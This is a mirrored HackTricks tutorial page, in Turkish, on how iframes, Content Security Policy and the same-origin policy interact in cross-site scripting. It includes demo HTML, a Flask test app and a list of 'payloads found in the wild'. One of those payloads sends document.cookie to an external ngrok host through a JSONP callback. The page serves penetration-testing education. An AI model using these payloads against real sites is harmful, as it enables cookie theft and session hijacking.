mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
163 lines
9.2 KiB
Markdown
163 lines
9.2 KiB
Markdown
# XSS'te İframeler, CSP ve SOP
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
|
||
* **Hackleme hilelerinizi göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
|
||
|
||
</details>
|
||
|
||
## XSS'te İframeler
|
||
|
||
Bir iframeli sayfanın içeriğini belirtmenin 3 yolu vardır:
|
||
|
||
* `src` ile bir URL belirterek (URL çapraz kökenli veya aynı kökenli olabilir)
|
||
* `data:` protokolünü kullanarak içeriği belirterek `src` ile
|
||
* İçeriği belirterek `srcdoc` kullanarak
|
||
```html
|
||
<html>
|
||
<script>
|
||
var secret = "31337s3cr37t";
|
||
</script>
|
||
|
||
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe id="if2" src="child.html"></iframe>
|
||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
|
||
<script>
|
||
function access_children_vars(){
|
||
alert(if1.secret);
|
||
alert(if2.secret);
|
||
alert(if3.secret);
|
||
alert(if4.secret);
|
||
}
|
||
setTimeout(access_children_vars, 3000);
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
```html
|
||
<!-- content of child.html -->
|
||
<script>
|
||
var secret="child secret";
|
||
alert(parent.secret)
|
||
</script>
|
||
```
|
||
Eğer önceki html'e bir http sunucusu üzerinden erişirseniz (örneğin `python3 -m http.server` gibi) tüm scriptlerin yürütüldüğünü fark edeceksiniz (çünkü engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **yalnızca aynı site olarak kabul edilen if2 ve if3 iframeleri orijinal penceredeki secret değişkenine erişebilecek**.\
|
||
if4'ün `null` kökene sahip olduğuna dikkat edin.
|
||
|
||
### CSP ile İframeler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||
|
||
{% hint style="info" %}
|
||
Lütfen, aşağıdaki bypasslarda iframelenmiş sayfaya verilen yanıtın JS yürütmesini engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
|
||
{% endhint %}
|
||
|
||
`script-src`'nin `self` değeri, JS kodunun `data:` protokolünü veya `srcdoc` özniteliğini kullanarak yürütülmesine izin vermeyecektir.\
|
||
Ancak, CSP'nin `none` değeri bile, `src` özniteliğine URL (tam veya sadece yol) ekleyen iframelerin yürütülmesine izin verecektir.\
|
||
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
|
||
```html
|
||
<html>
|
||
<head>
|
||
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
|
||
</head>
|
||
<script>
|
||
var secret = "31337s3cr37t";
|
||
</script>
|
||
<iframe id="if1" src="child.html"></iframe>
|
||
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
</html>
|
||
```
|
||
Not alın ki **önceki CSP yalnızca iç içe betiğin yürütülmesine izin verir**.\
|
||
Ancak, **yalnızca `if1` ve `if2` betikleri yürütülecek ancak yalnızca `if1` üst ebeveyin sırrına erişebilecek**.
|
||
|
||
![](<../../.gitbook/assets/image (372).png>)
|
||
|
||
Bu nedenle, bir JS dosyasını sunucuya yükleyebilir ve iframe aracılığıyla yükleyebilirseniz, `script-src 'none'` ile bile bir CSP'yi **atlayabilirsiniz**. Bu, **aynı site JSONP ucu kullanılarak da potansiyel olarak yapılabilir**.
|
||
|
||
Bunu `script-src 'none'` ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızdan erişin:
|
||
```python
|
||
import flask
|
||
from flask import Flask
|
||
app = Flask(__name__)
|
||
|
||
@app.route("/")
|
||
def index():
|
||
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
||
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
||
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
||
return resp
|
||
|
||
@app.route("/cookie_s.html")
|
||
def cookie_s():
|
||
return "<script>alert(document.cookie)</script>"
|
||
|
||
if __name__ == "__main__":
|
||
app.run()
|
||
```
|
||
### Vahşi Doğada Bulunan Diğer Yükler <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||
```html
|
||
<!-- This one requires the data: scheme to be allowed -->
|
||
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
|
||
<!-- This one injects JS in a jsonp endppoint -->
|
||
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
||
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
||
```
|
||
### Iframe kum havuzu
|
||
|
||
Bir iframe içindeki içerik, `sandbox` özelliğinin kullanımıyla ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu özellik uygulanmaz, yani herhangi bir kısıtlama bulunmaz.
|
||
|
||
Kullanıldığında, `sandbox` özelliği birkaç kısıtlama getirir:
|
||
|
||
- İçerik, benzersiz bir kaynaktan geldiği gibi işlenir.
|
||
- Formların gönderilme girişimleri engellenir.
|
||
- Komut dosyalarının yürütülmesi yasaklanmıştır.
|
||
- Belirli API'lere erişim devre dışı bırakılmıştır.
|
||
- Bağlantıların diğer gezinme bağlamlarıyla etkileşimini engeller.
|
||
- `<embed>`, `<object>`, `<applet>` veya benzer etiketler aracılığıyla eklentilerin kullanımı yasaktır.
|
||
- İçeriğin üst düzey gezinme bağlamının içeriğin kendisi tarafından engellenmesi.
|
||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
|
||
|
||
Özniteliğin değeri, tüm yukarıdaki kısıtlamaların uygulanması için boş bırakılabilir (`sandbox=""`). Aksi takdirde, belirli kısıtlamalardan iframe'ı muaf tutan belirli değerlerin boşlukla ayrılmış bir listesi olarak ayarlanabilir.
|
||
```html
|
||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||
```
|
||
## Iframe'lerde SOP
|
||
|
||
Aşağıdaki sayfalara bakın:
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
|
||
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
|
||
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
|
||
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
|
||
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||
{% endcontent-ref %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* [**Resmi PEASS & HackTricks swag'ini alın**](https://peass.creator-spring.com)
|
||
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
|
||
* **Hacking püf noktalarınızı göndererek PR'lar göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|